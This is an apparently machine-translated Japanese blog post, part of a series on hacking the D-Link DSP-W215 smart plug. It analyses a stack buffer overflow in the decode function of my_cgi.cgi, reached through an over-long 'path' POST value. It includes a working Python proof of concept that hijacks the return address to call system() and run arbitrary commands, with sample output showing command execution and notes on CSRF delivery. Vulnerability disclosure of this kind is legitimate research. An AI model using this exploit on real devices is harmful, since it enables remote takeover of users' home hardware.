D-Link DSP-W215スマートプラグをハックする:もう一度、もう一度、もう一度

画像



前のシリーズ:

  1. D-Link DSP-W215スマートプラグをハックする
  2. D-Link DSP-W215スマートプラグをハックします。 また
  3. D-Link DSP-W215スマートプラグをハックします。 何回も




これまで、DSP-W215で見つかったすべての脆弱性は、愚かでなく、インターネットからスマートプラグへのアクセスを開いていない場合にのみ、LANから実行できました。

CSRFを介して、DSP-W215のような内部ネットワークからのみアクセス可能な組み込みWebサーバーでデバイスを攻撃する典型的な方法。 この方法の問題は、すべてのWebブラウザーが送信されたデータ、たとえば戻りアドレスをエンコード(urlencode)することですが、それまでデータをデコード(urldecode)しなかった脆弱性を使用しました(私たちが悪用したreplace_special_char関数の脆弱性前の記事では、ASCII文字の限られたセットのみをデコードします)。



メインの脆弱なターゲットであるバイナリファイルmy_cgi.cgiには、POSTデータをデコードするデコードデコーダー機能が含まれています。 この関数には、エンコードされたデータへのポインターと、デコードされたデータが保存されているバッファーへのポインターの2つの引数が渡されます。

void decode(char *encode_buf, char *decode_buf);
      
      







この関数は、単純にencode_bufのすべてのバイトをループし、decode_bufにデコードまたはコピーします。

画像



大まかに言えば、彼女のコードは次のようになります。

 void decode(char *encode_buf, char *decode_buf) { int encoded_byte_len; char *encode_buf_end_ptr = encode_buf + strlen(encode_buf); // Loop through all bytes in encode_buf, without knowing how big decode_buf is while(encoded_data < encode_buf_end_ptr) { /* * ... * Do Decoding of the next byte in encoded_data. * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3). * ... */ decode_buf[0] = decoded_byte; decode_buf++; encoded_data += encoded_byte_len; } }
      
      







呼び出し関数が、デコードされたすべてのデータを保存するのに十分な大きさのバッファを割り当てない場合、このバッファ(decode_buf)は大きなPOSTパラメータでオーバーフローする可能性があります。

my_cgi.cgiには、デコード関数が呼び出される関数が1つだけあります-get_input_entries:

画像



ご覧のように、デコード関数はPOSTパラメーターの名前がパスの場合にのみ呼び出され、memsetからdecode_bufバッファーがスタック上で0×400のみに割り当てられていることがわかります。

 char decode_buf[0x400]; if(strcmp(entries[i]->name, "path") == 0) { // Decode path POST value into the fixed-size decode_buf decode(entries[i]->value, decode_buf); strcpy(entries[i]->value, decode_buf); } replace_special_char(entries[i]->value);
      
      







これは、POST要求で0×400バイトより大きい「パス」値を渡すと、decode_bufバッファーがget_input_entries関数内のスタックでオーバーフローすることを意味します。 さらに興味深いことに、「不良」バイトはありません。 デコード関数は、スタックにコピーする前にそれらをすべてデコードします(たとえば、%00をNULLバイトに変換します)。



ただし、get_input_entriesから戻る前に呼び出されるreplace_special_char関数でバッファオーバーフローが発生しないように、エクスプロイトをコンパイルするときに注意する必要があります。



幸いなことに、replace_special_charに渡されるデータは最初にdecode_bufからstrcpyを渡すため、POSTリクエストの先頭近くにNULLバイトを配置すると、replace_special_char関数に非常に短い文字列(最初のNULLより前のすべて)が渡されますバイト)スタックにデコードされたPOSTリクエスト全体の代わりに。



1060バイトより長いPOST値「パス」は、戻りアドレスを含むget_input_entries関数のスタックフレーム内のすべてをオーバーフローさせます。

画像



また、「不良」バイトがないため、スタックへのポインター($ sp + 0×28)でsystem()を呼び出すために以前のエクスプロイトで使用したリターンアドレス0x00405CECを使用できます。

画像



get_input_entries関数をオーバーライドし、リターンアドレスを0x00405CECでのsystem()呼び出しに置き換え、オフセット$ sp + 0×28でスタックでコマンドを実行する小さなPython PoCコードを次に示します。

 import sys import urllib import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "\x00" # Start with a NULL byte to prevent crashing in replace_special_chars buf += "D" * (1060-1) # Stack filler buf += "\x00\x40\x5C\xEC" # $ra, address of call to system() buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command, for good measure # URL encode the path POST value post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20') # Set a referer to show that there are no CSRF protections headers = {'Referer' : 'http://www.attacker.com/exploit.html'} req = urllib2.Request(url, post_data, headers) print urllib2.urlopen(req).read()
      
      







もちろん、期待どおりに機能します。

 $ ./exploit.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 24 23:26 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www
      
      






All Articles